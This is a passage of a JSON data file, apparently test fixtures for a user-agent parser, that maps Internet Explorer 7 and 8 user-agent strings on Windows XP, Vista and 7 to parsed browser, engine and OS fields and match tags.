"engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "ie_compat_mode", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Wanadoo 5.6; .NET CLR 1.1.4322)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; dial; E-nrgyPlus; .NET CLR 1.1.4322; InfoPath.1)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; dial; SV1; .NET CLR 1.0.3705)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; ds-66843412; Sgrunt|V109|1|S-66843412|dial; .NET CLR 1.1.4322)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; eMusic DLM/3; MSN Optimized;US; MSN Optimized;US)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; elertz 2.4.025; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; elertz 2.4.179[128]; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; generic_01_01; InfoPath.1)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; generic_01_01; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.3.04b)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iOpus-I-M; .NET CLR 1.1.4322)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; Sgrunt|V109|1746|S-1740532934|dialno; snprtz|dialno; .NET CLR 2.0.50727)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; acc=; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; IEMB3; IEMB3; yplus 5.1.04b)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; iebar; acc=none; SV1; snprtz|S04087544802137; .NET CLR 1.1.4322)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB0.0; BTRS26718; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322; InfoPath.2; Alexa Toolbar; .NET4.0C; AskTbSPC2/5.9.1.14019)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; AskTbGGSV5/5.12.1.16460)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; AskTbNDV/5.12.1.16460)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; AskTbMP3/5.9.1.14019)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; HPDTDF; Tablet PC 2.0; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie7", "ie_compat_mode", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; QS 4.2.4.0; QS 5.3.0.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3; QS 4.2.4.0; QS 5.3.0.4)" : { "browser" : "ie", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie7", "ie_compat_mode", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; NP08; InfoPath.2; .NET4.0C; .NET4.0E; MSOffice 12)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "7", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "7.0", "major" : "7", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie7", "ie_compat_mode", "trident", "dotnet" ], "minor" : ".0", "os" : "windows", "os_string" : "Win7", "public_major" : "7", "public_minor" : ".0", "public_version" : 7, "version" : 7 }, "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0 ; .NET CLR 2.0.50215; SL Commerce Client v1.0; Tablet PC 2.0" : { "beta" : "b", "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "major" : "7", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie7", "dotnet" ], "minor" : ".0", "os" : "windows", "os_string" : "WinVista", "public_beta" : "b", "public_major" : "7", "public_minor" : ".0", "public_version" : 7, "version" : 7 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; HPNTDF; AskTbATU2/5.11.3.15590)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Ant.com Toolbar 1.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 1.1.4322; BO1IE8_v1;ENUS)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; BTRS26707; GTB7.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; BTRS26718; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; yie8; AskTbMOV/5.9.1.14019)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; BTRS6018; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; BTRS7181; InfoPath.2)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; BTRS7239; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; AskTbFF/5.11.3.15590)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FBSMTWB; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; BO2IE8_v1;ENUS)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.3; .NET CLR 1.1.4322; WinNT-PAI 18.08.2009; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; AskTbFWV5/5.12.2.16749; AskTb/)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BRI/1; BRI/2; yie8; Creative AutoUpdate v1.10.10)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; SIMBAR={0390CFD2-2FBA-41D3-9086-6461EA0D204E}; BTRS7390; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbHIP/5.11.3.15590)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6.6; WinNT-A8U 19.03.2011; .NET4.0C; .NET CLR 2.0.50727; yie8)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; (R1 1.6); InfoPath.2)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "realplayer", "ie4up", "ie5up", "ie55up", "ie8", "trident" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; AskTbNRO2/5.11.3.15590)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbUT2V5/5.9.1.14019)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbMP3DS/5.11.3.15590)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0; InfoPath.2; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbMYC-ST/5.12.1.16460)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbIMB/5.12.1.16460)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; AskTbATU3/5.8.0.12304)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; AskTbMPC2/5.11.0.15286)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MRA 5.10 (build 5339); GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQDownload 627; GTB6.6)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, 